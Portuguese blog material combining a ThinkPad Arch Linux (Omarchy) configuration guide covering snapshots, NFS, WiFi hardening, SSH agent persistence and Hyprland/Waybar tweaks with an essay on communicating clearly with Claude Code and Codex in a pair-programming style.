Firmware updates pelo fwupd

fwupdmgr update funciona, mas com Limine tem uma pegadinha: o fwupd tenta escrever em /boot/EFI/systemd/ ou /boot/EFI/arch/, que não existem. O workaround:

sudo mkdir -p /boot/EFI/arch
sudo fwupdmgr update -y --no-reboot-check
fwupdmgr get-history  # deve mostrar "Success"

HiDPI / fractional scaling

Painel 14" em 1920x1200 numa resolução do Hyprland livre. O auto 1.5x do Omarchy ficava chunky demais. Fixei em 1.333x:

env = GDK_SCALE,1
monitor=,preferred,auto,1.3333,vrr,2

Efetivo 1440x900. GTK com GDK_SCALE=1 renderiza 1:1 com o Hyprland (não magnifica duplo). VRR mode 2 só em fullscreen, porque painéis LCD tendem a cintilar em conteúdo estático com VRR ativa.

Flags do Brave e Chromium pra renderizar bem nessa escala:

--ozone-platform=wayland
--enable-features=WaylandFractionalScaleV1,UseOzonePlatform,VaapiVideoDecoder,VaapiVideoEncoder
--enable-gpu-rasterization

O VAAPI faz diferença real na bateria em YouTube.

Tunando Omarchy pra ser meu

Omarchy vem com defaults bons. O que eu ajusto é no topo deles, sem tocar em ~/.local/share/omarchy/ (que é clobbered pelo omarchy-update). Toda customização fica em ~/.config/.

Infra: Btrfs, snapshots, Snapper

Omarchy já vem com Btrfs e subvolumes separados:

@home separado significa que ~/.cache, ~/.config/BraveSoftware, etc. não incham snapshots do root. Snapshot é de sistema, não de perfil.

Swap: zram de 4 GB com prioridade 100 (hit primeiro), mais swapfile de 30 GB com prioridade 0 (habilita hibernação, dimensionado pra RAM).

O stack de snapshot: Snapper tira snapshot antes e depois de cada pacman -Syu via snap-pac. limine-snapper-sync escreve esses snapshots no menu do Limine, então dá pra bootar num snapshot anterior pra reverter. Se algo quebra depois de update, você segura uma tecla no boot, escolhe o snapshot pré-update, boota read-only pra verificar, e se estiver bom, faz snapper rollback.

Omarchy deixa o snapper-cleanup.timer e o snapper-boot.timer desabilitados por default. Habilitei os dois e configurei retenção pra caber num SSD de 1 TB sem explodir:

TIMELINE_LIMIT_HOURLY=10
TIMELINE_LIMIT_DAILY=0
TIMELINE_LIMIT_WEEKLY=1
TIMELINE_LIMIT_MONTHLY=1
NUMBER_LIMIT=50

Um detalhe que custa debug pra quem esquece: Docker e Ollama escrevem gigabytes em /var/lib/docker e /var/lib/ollama. Se isso cai dentro de @, os snapshots catastrofizam. Cada imagem Docker ou modelo Ollama baixado triplica em tamanho. Criei subvolumes aninhados pros dois, com chattr +C pra desligar CoW:

sudo btrfs subvolume create /var/lib/docker
sudo chattr +C /var/lib/docker
sudo btrfs subvolume create /var/lib/ollama

Isso tem que ser feito ANTES de o Docker ou Ollama escrever dados. Se já tem dados lá, precisa migrar.

NFS pro NAS Synology

Meu Synology expõe três volumes. No desktop, monto normal. No notebook, tem que ser mais defensivo. O notebook anda, esquece a rede, conecta em WiFi público. Fstab do notebook:

nfs4  _netdev,noauto,nofail,x-systemd.automount,x-systemd.idle-timeout=10min,x-systemd.mount-timeout=15s,noatime,nodiratime,nconnect=4,actimeo=10,soft,timeo=30,retrans=2

Diferença crítica em relação ao desktop: soft com timeouts curtos (não fica pendurado pra sempre), x-systemd.idle-timeout=10min (auto-unmount quando ocioso), sem network-online.target no require (não atrasa boot). Resultado prático: cd /mnt/gigachad em casa monta lazy, fora de casa falha rápido sem trancar shell.

Outro detalhe importante: meu user no notebook tem UID 1026, que bate com a permissão do share no Synology. O Linux default cria user em 1000, o Synology impõe identidade via UID no fio. Se os UIDs não batem, você não consegue ler os arquivos, ou ainda pior, escreve como nobody. Rodei de TTY (com usuário deslogado) os usermod/groupmod pra remapear o user pra 1026/1026 e fiz chown -R em /home.

Hardening de WiFi público

Notebook vai sair de casa. Num aeroporto ou café, eu não quero anunciar hostname, não quero MAC rastreável, não quero serviço escutando porta aberta.

/etc/NetworkManager/conf.d/00-macrandomize.conf:

[device]
wifi.scan-rand-mac-address=yes

[connection]
wifi.cloned-mac-address=stable
ethernet.cloned-mac-address=stable
connection.stable-id=${CONNECTION}/${BOOT}

ipv6.ip6-privacy=2
ipv6.addr-gen-mode=stable-privacy

MAC aleatório por scan (anti-fingerprinting passivo). MAC clonado estável por SSID (o portal cativo não te re-pergunta login toda vez) mas diferente entre redes. IPv6 com endereços temporários e interface ID derivado de segredo estável, não do MAC (sem vazar EUI-64).

/etc/systemd/resolved.conf.d/hardening.conf:

[Resolve]
LLMNR=no
MulticastDNS=no

Mata broadcast de hostname em LLMNR e mDNS. Também desabilito avahi:

sudo systemctl disable --now avahi-daemon.service avahi-daemon.socket

UFW firewall:

sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw --force enable

SSH server já é off por default no Omarchy. Nada escutando. Mesmo que o firewall vaze, não tem superfície.

Tudo isso entra num único ritual de setup inicial.

Persistência de SSH agent (keyring + keychain)

Se você usa SSH sério, quer digitar a passphrase uma vez por boot e ter ssh, git push, scp mudos pelo resto do dia. No Arch atual isso tem uma pegadinha: o gnome-keyring 50 deixou de oferecer componente SSH, e o substituto (gcr-ssh-agent) é um agente plain em memória, sem persistência de passphrase. A caixa “lembrar esta chave” que você viu em guias antigos simplesmente não existe mais.

A combinação que funciona tem três peças:

1. gcr-ssh-agent.socket gerenciado pelo systemd serve o SSH_AUTH_SOCK em $XDG_RUNTIME_DIR/gcr/ssh
2. pam_gnome_keyring no login SDDM destrava o keyring com a senha de login (usado por apps GUI tipo Brave, não pelo SSH)
3. keychain (wrapper) mantém um ssh-agent vivo entre logouts, sobrescreve o SSH_AUTH_SOCK pra apontar pra esse agent persistente, e cacheia o PID em ~/.keychain/<host>-sh

Primeiro, instalo o keyring:

sudo pacman -S --needed gnome-keyring seahorse keychain

Depois, edito /etc/pam.d/sddm pra o login password destravar o keyring automaticamente. Adiciono no topo:

-auth      optional    pam_gnome_keyring.so

E no final:

-session   optional    pam_gnome_keyring.so    auto_start

O hífen na frente (-auth, -session) marca como opcional, se o módulo não carregar, não quebra login.

Pino o SSH_AUTH_SOCK pra sessões gráficas e TTY via ~/.config/environment.d/ssh-agent.conf:

SSH_AUTH_SOCK=%t/gcr/ssh

O %t resolve pra $XDG_RUNTIME_DIR, tipo /run/user/1026. Habilito o socket do gcr e o linger do usuário (pra user daemons sobreviverem ao logout):

systemctl --user enable --now gcr-ssh-agent.socket
sudo loginctl enable-linger $USER

Por fim, no ~/.config/bash/init.sh o keychain inicia ou reusa o agent:

if command -v keychain &>/dev/null && [[ -r ~/.ssh/id_ed25519 ]]; then
  eval "$(keychain --eval --quiet ~/.ssh/id_ed25519)"
fi

--eval emite atribuições shell (SSH_AUTH_SOCK, SSH_AGENT_PID) apontando pro agent do keychain, que passa por cima do gcr setado pelo environment.d. --quiet cala o banner depois que a chave está carregada.

Fluxo na prática: boot → primeiro terminal → keychain pede passphrase uma vez → chave fica carregada. Logout → login de novo → novos shells re-atacham no mesmo agent (via ~/.keychain/<host>-sh) → zero prompt. ssh-add -l confirma que a chave está lá, echo $SSH_AUTH_SOCK confirma que está no caminho do keychain.

Quando você vai digitar a passphrase de novo: reboot, ssh-add -D, ou keychain --clear. Em uso normal, uma vez por dia.

Bash em vez de ZSH

No desktop uso ZSH. No notebook fui de Bash pra alinhar com o default do Omarchy, sem dupla de camadas modulares pra manter. ~/.bashrc é um symlink pra ~/.config/bash/bashrc, que faz source dos defaults do Omarchy primeiro e depois empilha as minhas customizações:

source ~/.local/share/omarchy/default/bash/rc
source ~/.config/bash/envs.sh
source ~/.config/bash/aliases.sh
source ~/.config/bash/mounts.sh
source ~/.config/bash/init.sh
source ~/.config/bash/secrets    # gitignored, chmod 600

envs.sh tem o que é meu: OpenRouter base URL, Ollama apontando pro GPU box da rede local (192.168.0.14), AWS region, analytics do Hugo, configs de zoxide e SSH agent. aliases.sh tem os atalhos de TLP, um alias pra shell-gpt via Docker, e functions pra hardenar o PATH quando rodo makepkg ou yay (prevenir injeção de binário via user config malicioso).

init.sh faz o trabalho de integração. Atuin com bind manual do Ctrl-R (pra deixar a seta pra cima com o history-search padrão do bash, que eu uso mais). Keychain carregando ~/.ssh/id_ed25519 uma vez por boot e reusando nos shells seguintes (sem ter que re-autenticar SSH toda hora). Blesh se estiver instalado (autosuggestion estilo ZSH pra Bash). E uma função que manda o PROMPT_COMMAND ajustar o título da janela com o pwd atual e o comando em execução:

__title_idle() { printf '\033]2;%s\007' "${PWD/#$HOME/~}"; }
__title_busy() {
  local cmd="${BASH_COMMAND}"
  [[ "$cmd" == "__title_"* || "$cmd" == *"PROMPT_COMMAND"* ]] && return
  printf '\033]2;%s — %s\007' "${PWD/#$HOME/~}" "$cmd"
}
if [[ -n "${PROMPT_COMMAND-}" ]]; then
  PROMPT_COMMAND="__title_idle; ${PROMPT_COMMAND}"
else
  PROMPT_COMMAND="__title_idle"
fi
trap '__title_busy' DEBUG

No idle, título mostra só o pwd. Com um comando rodando, trap DEBUG pega o BASH_COMMAND em execução e atualiza o título. Integra com o hyprland/window do waybar pra mostrar tudo lá.

Pro toolbelt Rust moderno, a lista:

sudo pacman -S --needed \
  eza bat fd ripgrep sd git-delta dust procs bottom duf tokei hyperfine \
  zoxide atuin tldr starship

eza substitui ls. bat substitui cat com syntax highlight. fd substitui find. ripgrep substitui grep. sd substitui sed. delta pluga no git pra diff side-by-side colorido. dust pro du visual. procs pro ps. btm (bottom) pro top. duf pro df. tokei conta linhas de código. hyperfine pra benchmark de comando. zoxide é cd com memória (muito útil). atuin é history do shell com sync criptografado (aponto pro meu home server via sync_address = "http://192.168.0.90:8888"). starship é o prompt. tldr é man page em 10 linhas.

O atuin key tem que ser backupeado offline. Se você perde, perde o histórico criptografado. Salvei no meu Bitwarden self-hosted (Vaultwarden), que eu documentei no artigo sobre Bitwarden self-hosted.

O git passa diff pelo delta:

[core]        pager = delta
[interactive] diffFilter = delta --color-only
[delta]       navigate side-by-side line-numbers hyperlinks, light=false
[merge]       conflictstyle = zdiff3

Hyprland e Waybar

Customizações visuais e de UX que fiz em cima do default.

No hypr/looknfeel.conf, gaps menores (2/5 vs 5/10 do default), animação de slide entre workspaces, VFR ligado (reduz consumo quando a tela está estática), allow_session_lock_restore (se o hyprlock crasha, volta pra tela de lock em vez de jogar pro desktop).

No hypr/bindings.conf:

No Waybar, três módulos custom que recomendo:

Título de janela: o módulo hyprland/window mostra o que tá focado. No bash, o PROMPT_COMMAND atualiza o título pra algo como “~/Projects/blog — hugo server”. Então no waybar aparece o diretório e o comando em execução, sem eu precisar olhar pro terminal.

"hyprland/window": {
    "format": "{title}",
    "max-length": 50,
    "rewrite": { "(.{47}).+": "$1…" }
}

Perf mode: o custom/perf executa um script que lê o estado do TLP e mostra um ícone:

"custom/perf": {
    "exec": "~/.config/scripts/perf-waybar.sh",
    "interval": 3,
    "format": "{}",
    "on-click": "~/.config/scripts/perf-toggle.sh"
}

Vazio em balanced, 󰓅 PERF em performance, 󰌪 ECO em low-power. Clique alterna. Útil pra ver rapidamente em que modo a máquina está.

Claudebar: integrei o claudebar num módulo custom que mostra a % de uso da sessão do Claude Code e o gasto extra inline no waybar. Sem ter que abrir outra janela.

O clock:

"clock": {
    "format": "{:L%A %d %B - %H:%M}",
    "format-alt": "{:L%A W%V %Y - %H:%M}"
}

Exibe “quinta 17 abril - 14:32” por padrão, clique alterna pra “quinta W16 2026 - 14:32” com número da semana do ano, útil pra planejar artigos e tarefas.

Atuin self-hosted

Atuin roda no meu home server em 192.168.0.90:8888. Criei uma conta separada pro notebook (akitaonrails-thinkpad), não misturo histórico com desktop de propósito. atuin sync roda a cada 5 minutos e todo histórico é criptografado antes de ir pro server. O server não vê os comandos, só vê bytes criptografados.

Conclusão: escolhendo notebook pra Linux

Se tem uma coisa que eu aprendi nessa jornada: escolher notebook pra rodar Linux confortavelmente não é trivial. Precisa checar a ArchWiki pelo modelo específico antes de comprar. A do T14s Gen 6 AMD, por exemplo, cataloga cada peculiaridade de hardware e como contornar. Sem essa referência, você descobre os problemas instalando.

Regra que sigo: nunca comprar modelo recém-lançado. Deixar passar uns 6 a 12 meses depois do lançamento. Isso dá tempo pra comunidade iron out os bugs, pros drivers entrarem no mainline, pra ArchWiki ter uma página decente, pra libfprint incluir o sensor de digital, pro kernel cobrir o WiFi e a câmera IR. Comprar de primeira é assumir o papel de tester beta.

Marcas com trilha Linux decente: Lenovo (especialmente Thinkpad, eles oferecem Ubuntu e Fedora pré-instalados), Dell (a linha XPS e Latitude), Asus (Zenbook e ROG têm suporte razoável), Framework (fábrica direto pra Linux). Mac qualquer geração recente é cortado do Linux mainline ou via Asahi com caveats.

O Thinkpad T14 Gen 6 não é o notebook mais bonito que eu podia ter comprado. Mas é rugged, tem as portas certas, o sensor de digital funciona, e a carcaça plástica aceita cair, arranhar, viajar na mala sem eu ficar nervoso. Pra servir de companion de debug remoto, é o que eu precisava. Se esse é o seu perfil de uso também, recomendo. Se você quer OLED e metal, vai de Zenbook ou de T14s. Cada premium tem seu compromisso, nenhum notebook Linux em 2026 é perfeito.

Tudo que descrevi aqui ficou versionado num repo privado meu. Se eu precisar reinstalar amanhã, rodo meia dúzia de passos em ordem e volto ao mesmo lugar. Esse é o ponto todo de manter configuração em Git: notebook é commodity, config é minha.

Toda vez que eu entro numa discussão online sobre LLMs eu escuto alguma variação da mesma ladainha. “O Claude não performou tão bem quanto o GPT pra mim”. “O GPT fez um trabalho muito melhor que o Claude, vou cancelar minha assinatura do Claude”. “Pra mim o Kimi ou o MiniMax já dão conta, não preciso pagar nada”. Anedota atrás de anedota de “funciona pra mim” versus “não funciona pra mim”. Isso me soa muito estranho.

Eu já benchmarquei boa parte dos modelos open source e comerciais relevantes no post sobre testar LLMs, então não é que eu esteja falando sem base. E além dos benchmarks, eu estou com mais de 500 horas acumuladas usando Claude Code e Codex em projetos reais. Em ritmo de 16 horas por dia, há dois meses e meio direto, gerando algo na ordem de 400 mil linhas de código efetivas.

E olha: em nenhum desses dois, Claude ou Codex, eu vi o modelo sair do trilho, fazer coisa que eu não pedi, ou ser incapaz de entregar o que eu queria. Nunca. Quando o modelo de fato não dava conta, ele me dizia isso antes, não simplesmente inventava. Então quando eu escuto alguém me contando que “o Claude fez merda”, minha primeira pergunta é sempre a mesma: o que você pediu pra ele, exatamente?

O falso problema

A resposta que o ecossistema está dando pra esse suposto descontrole é adicionar mais camada. Surgiu Spec Driven Development, surgiram templates de prompt com 15 seções, surgiram frameworks inteiros pra forçar o LLM a fazer mais perguntas antes de começar. Eu até respeito a ideia, mas acho que ela trata sintoma, não causa.

Eu pratico o que chamo de Agile Vibe Coding: aplicar técnicas de XP (pair programming, test-driven, feedback curto, refactor contínuo) em cima do prompting normal. Não preciso de framework. Não preciso de template de 3 páginas. Preciso das mesmas coisas que sempre foram necessárias pra trabalhar em software em equipe: saber o que eu quero, saber o que eu não quero, saber como validar que chegou lá.

O problema real é um só: ninguém sabe se comunicar

Eu tenho um post antigo de 2013 chamado Programadores são péssimos comunicadores (UDP vs TCP). Leia se ainda não leu, porque o problema que eu descrevo lá em 2013 é exatamente o que está explodindo agora que todo mundo está pilotando LLM. Nada mudou. A tecnologia ficou mais poderosa, mas as pessoas continuam as mesmas.

A coisa funciona assim: você tem um monte de informação na sua cabeça. Contexto de projeto, histórico, restrição de stack, preferência pessoal, coisa que já deu errado no passado, combinado que foi feito numa reunião mês retrasado. E aí você entra na conversa, seja com colega humano ou com LLM, e dispara o pedido assumindo que tudo aquilo que está na sua cabeça também está na cabeça do outro lado. “É óbvio, todo mundo sabe disso”. Aí você escreve “faça como eu estou dizendo”, só que o que você está dizendo é na verdade “faça como eu estou pensando”. E você nem percebe que são coisas diferentes.

Desenvolvedor é péssimo comunicador. Gestor também é péssimo comunicador, e é exatamente por isso que a maior parte do tempo útil de uma semana corporativa é desperdiçada em reunião inútil. Ninguém chega ao ponto na hora certa, ninguém alinha expectativa, o resultado vem aquém do esperado, e a resposta gerencial padrão pra isso sempre é: “mais do mesmo”. Mais reunião, mais planilha, mais relatório. Só que se a comunicação era ruim em volume 1, vai continuar ruim em volume 5. O problema é qualidade. Volume não resolve qualidade ruim.

Como eu realmente falo com Claude ou Codex

Eu trato qualquer LLM exatamente como eu trataria um par humano numa sessão de pair programming. Sem firula, sem formulário, sem spec de 10 páginas. Mas com disciplina de comunicação. Deixa eu te mostrar um exemplo real, de semana passada.

Eu tenho cerca de 12 TB de ROMs acumuladas no meu NAS, em /mnt/terachad/Emulators, divididas em duas árvores (ROMS/ e ROMS2/) que vieram de conjuntos diferentes ao longo dos últimos 10 e tantos anos. São mais de 400 mil arquivos no total. Romsets sem descompactar, .7z, .rar, bundles gigantes de CDI/GDI, nome de arquivo inconsistente, duplicata pra todo lado. Eu queria consolidar tudo isso por plataforma numa nova árvore ROMS_FINAL/, seguindo nomenclatura padrão (No-Intro / Redump / TOSEC), pra quando eu rodar Screenscraper depois o match ser direto. Esse era o objetivo, e eu declaro logo de cara.

Mas eu não paro aí. Eu digo também o que eu NÃO quero. “Nunca deduplica por nome de arquivo, só por sha1+tamanho, nome mente demais nesse mundo aqui”. “Romset de Neo Geo depende do emulador que vai consumir, então o pacote de MAME, o bundle do FBNeo e o cart do Darksoft MVS são três coisas incompatíveis, guarda uma cópia canônica de cada”. “Mesma ideia pra NAOMI: romset do MAME não é o mesmo arquivo do GDI”. “Saturn tem versão USA, Japão e Europa, quero manter cópia de cada região, região não é duplicata”. Se eu omitir isso, o modelo não tem como saber, porque esse conhecimento está na minha cabeça e não no código. Se eu não der, ele vai assumir o default mais razoável dele, que pode ser o oposto do que eu preciso.

Depois eu entro em detalhe de método. “Cria um diretório docs/ pra virar base de conhecimento viva e docs/scripts/ com as etapas separadas em arquivos numerados (01_walk_and_hash.py, 02_classify.py, etc). Cada etapa tem que ser idempotente pra eu poder reexecutar se travar ou se eu precisar retomar do meio. O estado de progresso mora num catálogo SQLite, não em variável em memória”. Isso é alinhar o jeito que eu trabalho, não microgerenciar o modelo. Eu sei que uma operação dessas vai ter problema, e eu quero ter como voltar sem perder as horas anteriores de hash e classificação.

Aí, mesmo depois dele me apresentar o plano, eu continuo pensando no que pode dar errado. “Zero deleção sob ROMS/ e ROMS2/. Quem não for promovido pra ROMS_FINAL/ simplesmente fica onde estava. A única coisa que pode ser apagada em todo o pipeline são arquivos temporários de extração que ficou pela metade. Além disso, a fase que de fato executa os moves só pode rodar depois que eu aprovar a fase de planejamento manualmente, cria um arquivo de flag docs/.phase4-approved e faz a fase 5 recusar iniciar sem ele”. Isso é o equivalente a fazer commit antes de um refactor grande, mais um gate humano entre planejar e aplicar. Eu estou blindando contra erro meu, dele, ou de ambos.

Quando o modelo começa a rodar, eu não saio da sala. Fico pedindo status. Reparo que a ETA do hash tá longa demais pro tamanho do problema, aí interrompo: “acho que dá pra paralelizar, tenho CPU sobrando e 10GbE pra falar com o NAS, e o Synology com NFS aguenta isso de boa. Sobe o paralelismo, testa, verifica que continua estável e que a ordem das transações no SQLite não quebra”. Esse tipo de intervenção é pair programming de verdade, não automação cega.

A estrutura por trás disso

Repare no padrão. Eu não digo “resolva esse problema”. Eu digo “resolva esse problema, dessa e dessa forma, e não desse e desse jeito, e quando terminar, valide X e Y”. Ou seja, eu comunico quatro coisas, não uma:

Primeiro, o que eu quero. O objetivo final em linguagem clara. Segundo, o jeito que eu quero que seja feito, em linhas gerais, deixando espaço pra ele sugerir solução melhor se tiver, porque ele realmente costuma ter. Terceiro, o que eu não quero. Essa é a parte que mais gente pula, e é a mais crítica, porque aqui é onde mora todo o pressuposto não-verbalizado que vira bug depois. Quarto, como a gente valida que deu certo. Qual é o resultado esperado, qual é o teste, qual é o sinal de “pronto”.

E essa quarta parte é traiçoeira. A maioria dos clientes com quem trabalhei nos últimos 20 anos não sabia dizer qual era o resultado esperado. Porque é fácil querer algo, e difícil saber como medir que esse algo chegou. Sem medida de sucesso, expectativa quebra por definição, porque não existia expectativa concreta pra começar. Esse é um dos principais motivos pra projeto de consultoria dar errado, e é idêntico no mundo dos agentes de IA.

Quando eu entrego esses quatro blocos pro modelo, ele quase nunca falha. E quando ele realmente não consegue, porque a tarefa é impossível dada as minhas restrições ou porque falta informação que eu esqueci de passar, ele não tenta adivinhar. Ele me responde: “dadas as suas restrições, não consigo seguir porque X ou Y”. Aí eu ajusto, ou eu relaxo a restrição, ou eu percebo que eu mesmo não sabia o que queria. Tudo funciona.

Depois que o contexto está firme, pergunte em vez de mandar

Tem uma virada que eu sempre faço depois dos primeiros prompts bem detalhados. Nos turnos iniciais eu despejo muito: objetivo, restrição, método, validação, todo o contexto que o modelo precisa pra entender o terreno. É muito detalhe, é trabalho meu, e eu já expliquei por que não tem como ser diferente.

Mas uma vez que esse chão ficou firme, eu paro de prescrever solução e começo a pedir sugestão. Em vez de dizer “implementa dessa e dessa forma, usando essa biblioteca, com esse padrão”, eu mudo pra “dado tudo que a gente já conversou, qual seria a melhor abordagem aqui? Pesquisa online se precisar, compara as opções, e me apresenta a solução que você acharia mais adequada pro objetivo”.

Essa é a parte que mais gente não faz, e é justamente aí que o LLM ganha autonomia útil. Ele tem muito mais vocabulário do que eu em uma porção de assuntos. Ele leu a internet inteira; eu leio o que dá tempo. Se eu prescrevo linha a linha, eu estou jogando essa vantagem fora. Se eu estruturo o contexto e pergunto, ele volta com opção que eu não tinha considerado, comparando trade-off, às vezes melhor do que minha ideia original, e aí eu escolho.

A chave é simples: perguntar bem exige ter contextualizado bem antes. Pergunta seca, sem chão, volta com resposta genérica ou com a primeira ideia que colou. Pergunta apoiada em cima de contexto já estabelecido volta com proposta de verdade, com comparação entre caminhos, com referência. O modelo está pronto pra esse tipo de contribuição, só que só entrega isso depois que você gastou o tempo de montar o palco.

E olha: esse método não foi inventado pra LLM. É o mesmo jeito que eu trato qualquer desenvolvedor humano, sênior ou não. Dou o contexto, dou o objetivo, explico o que eu considero importante, e aí pergunto “qual seria o melhor caminho?” em vez de sair ditando solução. A única diferença é que o LLM devolve em segundos o que um humano levaria dias pra te trazer. O método de conversar é o mesmo.

Não é spec de 10 páginas

E aqui vem uma parte importante: isso que eu descrevo não é um formalismo. Não é uma spec longa, não é um documento em Confluence, não é um template. É só como eu converso com qualquer pessoa que precisa entregar algo pra mim. Aprendi a fazer isso tocando projeto, gerenciando terceirizado, integrando time que não era meu, e levando porrada quando minha comunicação foi ruim. Com o tempo vira segunda natureza.

Se eu não ligo muito pro resultado final, tipo experimento rápido, brincadeira de fim de semana, coisa descartável, eu encurto drasticamente. Sei que minha expectativa pode quebrar, e tá tudo bem, o custo de um bug aqui é baixo. Mas se o resultado importa de verdade, eu invisto o tempo necessário pra dar ao outro lado (humano ou IA) a melhor chance possível de entregar o que eu quero. A saída é proporcional ao tempo que você gasta no input. Se você não está disposto a explicar direito o que quer, não reclame quando vier errado.

Pra ilustrar: este post aqui que você está lendo foi escrito pelo Claude, com base num prompt meu. Abaixo está a captura de tela do que eu digitei. Repare: sem pressuposto omitido, objetivo claro, referências embutidas, restrições explícitas, nível de detalhe suficiente pra ele não precisar adivinhar.

Mas olha, isso aqui é só o primeiro prompt. Ele não é o único. Enquanto o Claude escrevia, eu continuei acompanhando, enviando correção, acrescentando ponto que eu esqueci de botar no primeiro prompt, apontando erro factual que eu vi no texto gerado, e ajustando tom. “Ah, esqueci de te falar que também é importante abordar X”. “Não, essa referência aqui está desatualizada, o Sora da OpenAI foi descontinuado, conserta”. “Lê o que a gente já deixou documentado lá em /mnt/terachad/Emulators/docs/ pra ver se dá pra melhorar o exemplo das ROMs”. Inclusive essa própria observação que você está lendo agora virou um prompt no meio do caminho, que foi:

E assim foi seguindo o papo até a hora do commit. Inclusive quando eu já tinha pedido pra humanizar, traduzir pro inglês e dar push, eu ainda interrompi no último segundo porque bati o olho numa palavra inglesa gratuita que eu queria corrigir antes de subir. A conversa é essa:

Isso é pair programming de verdade. Ninguém senta em frente ao colega, solta uma tarefa de 15 linhas, levanta e vai embora esperando mágica. Você fica ali, acompanha a execução, vê o código nascer, sugere ajuste, pega erro enquanto ainda é barato consertar, adiciona contexto que você lembrou agora. O prompt inicial é o ponto de partida, não o contrato final. Agile Vibe Coding na veia: ciclos curtos, feedback rápido, correção contínua.

Isso não é spec formal. É conversa que continua durante o trabalho, não antes dele. E é assim que vai ser sempre, comigo e com qualquer bom profissional.

“Akita, você escreve detalhe demais, a IA não devia descobrir isso sozinha?”

Essa é a pergunta que eu sei que vai aparecer, então deixa eu responder antes. Não, a IA não vai descobrir sozinha. Não existe versão futura do Claude, do GPT, do Gemini, do que for, que vai adivinhar o que está na sua cabeça. Contexto não se gera por osmose. Se a informação não existe no código, nos docs, ou na minha pergunta, ela simplesmente não existe pro modelo. Ponto.

Romset de Neo Geo ser diferente por emulador? Isso é conhecimento de domínio. Saturn ter região separada? Conhecimento de domínio. Meu NAS ter 10GbE pra aguentar paralelismo agressivo? Contexto de ambiente. Ter docs/ com catálogo SQLite pra sobreviver a crash? Decisão de engenharia minha. Nada disso o modelo tem como “descobrir”. Tudo isso é trabalho meu de trazer pra conversa. E se eu não estou disposto a gastar meu tempo pra conhecer esses detalhes, por que alguém, ou alguma coisa, faria isso por mim de graça?

A regra é simples: a qualidade do que te entregam é diretamente proporcional ao esforço que você colocou em pedir. Isso nunca foi diferente. Quem já contratou terceirizado sabe: pedido vago, escopo mal definido, “o cliente sabe o que quer, só não consegue explicar”, é receita garantida pra projeto derrapar. Sempre foi. O LLM é a mesma coisa, só que mais rápido e mais paciente. Pensa nele como terceirizado moderno, não como mágico. Mágico resolve sem você dizer nada. Terceirizado resolve exatamente o que você pediu, do jeito que você pediu, com as informações que você deu. Se você não pediu direito, não recebe direito.

A frustração de quem chega aqui cansado do Claude ou do Codex é quase sempre a mesma: pediu pouco, esperou muito. E quando o resultado veio abaixo, culpou a ferramenta. Nunca a própria pergunta.

Por isso a IA não vai substituir os bons

É por essa razão que eu digo, com bastante convicção, que agente de IA não vai substituir os bons profissionais. Vai substituir gente que não sabe fazer a própria pergunta direito, que não sabe o que quer, que não sabe validar o resultado, que precisa de alguém pra pensar por ela. E olha, esse tipo de profissional sempre foi substituível, só que agora o substituto é mais barato. O mercado está fazendo a conta.

O bom profissional, ao contrário, virou mais produtivo. Usa o LLM como assistente de pair programming a 2h da manhã, sem reclamar, sem sindicato, sem disputa de ego. Entrega em uma semana o que antes levava um mês. E continua sendo o bom profissional que era, porque a habilidade que importava, ou seja, saber o que pedir, o que não aceitar e como medir, continua sendo 100% dele. A ferramenta só executa.

Stark + Jarvis = Homem de Ferro

Deixa eu trazer uma metáfora que eu acho que resume isso tudo. Pensa no Tony Stark, do MCU. Ele tem o Jarvis, provavelmente a IA fictícia mais avançada que a cultura pop produziu nas últimas duas décadas. Controle por voz, entendimento de contexto, planejamento, execução em paralelo, até uma personalidade afiada. Tecnologicamente, Jarvis seria facilmente o melhor agente de IA que você conseguiria imaginar hoje.

E mesmo assim, Jarvis sozinho não constrói uma armadura do Homem de Ferro. Não constrói o reator Arc. Não constrói nada dos equipamentos que fazem o Stark ser o Stark. Toda essa tecnologia avançada, sem um Stark pra conduzir, fica parada. É o gênio do Stark, a visão dele, a teimosia dele, a intuição de engenheiro que aponta o caminho, que faz tudo aquilo virar realidade. Jarvis executa. Stark pensa.

Tem outro detalhe dessa história que pouca gente lembra: nem mesmo o Stark, com todo o gênio dele e com o Jarvis do lado, acerta a armadura perfeita na primeira tentativa. Ele passa filme atrás de filme melhorando. A Mark I foi literalmente parafusada numa caverna com sucata. A Mark II já voava, mas congelava em altitude. A Mark III resolveu o gelo, mas pesava demais. E assim vai, cada iteração consertando um defeito específico da anterior, até chegar na Mark LXXXV em Endgame, a 85ª armadura. Oitenta e cinco. O arco inteiro do Homem de Ferro no MCU é, no fundo, uma campanha de dez anos de desenvolvimento iterativo em cima de um produto complexo.

Esse é exatamente o modelo mental que eu acho que a gente deveria usar trabalhando com IA hoje. Você não dispara um prompt e espera a solução definitiva sair pronta. Você, no papel do Stark, usa a IA (o seu Jarvis) como acelerador de cada volta do ciclo: propõe, testa, vê o que quebrou, conserta, propõe de novo. A IA acelera cada volta, ela não elimina as voltas. Se alguém trocou iteração por “uma resposta mágica final”, é porque nunca entendeu que engenharia nunca foi assim, com humano ou sem.

Junta Stark com Jarvis e aí sim você tem Homem de Ferro. Sem um dos dois, falta a metade que importa.

Claude Code vs Codex: minha preferência hoje (abril de 2026)

Só pra não passar batido: hoje em dia eu uso Claude Code e Codex intercalando, mas tenho preferido o Claude Code. Deixa eu explicar o motivo, porque não tem a ver com o LLM em si.

Claude Opus e GPT-5.4 xHigh, pra mim, estão empatadíssimos como modelos. Nas tarefas difíceis, quando um não dá conta, eu troco pro outro e normalmente o outro resolve. Cabeça a cabeça, os dois são fortes. O que separa um do outro hoje é o harness, não o modelo.

E o harness do Claude Code, hoje, é simplesmente superior. Dois motivos concretos: planejamento e execução em paralelo.

Planejamento. Claude Code quebra tarefa longa em subtarefa, mantém uma to-do list visível que eu posso acompanhar na tela, tenta rodar o que dá pra rodar em paralelo, e não esquece item. Quando ele me diz “terminei”, eu sei que a lista inteira foi executada, porque está bem ali pra eu conferir. Esse detalhe muda o jogo: eu confio no “terminei” sem precisar ficar cobrando “e aquele outro item, você fez mesmo?”.

Execução em paralelo. Aqui a diferença é clara. Se o Claude Code está no meio de uma tarefa e eu aperto ESC pra pedir outra coisa, ele normalmente mantém a primeira rodando e começa a segunda em paralelo, a menos que a nova pergunta exija cancelar a primeira. O Codex, na mesma situação, para a primeira pra atender a segunda, e nem sempre consegue retomar a primeira de onde parou sem eu mandar manualmente. Com Claude Code eu consigo fluir de verdade, abrindo frente nova enquanto as antigas continuam correndo. Com Codex eu preciso ser serial, paciente, e mais intencional em cada pedido, porque interromper sai caro.

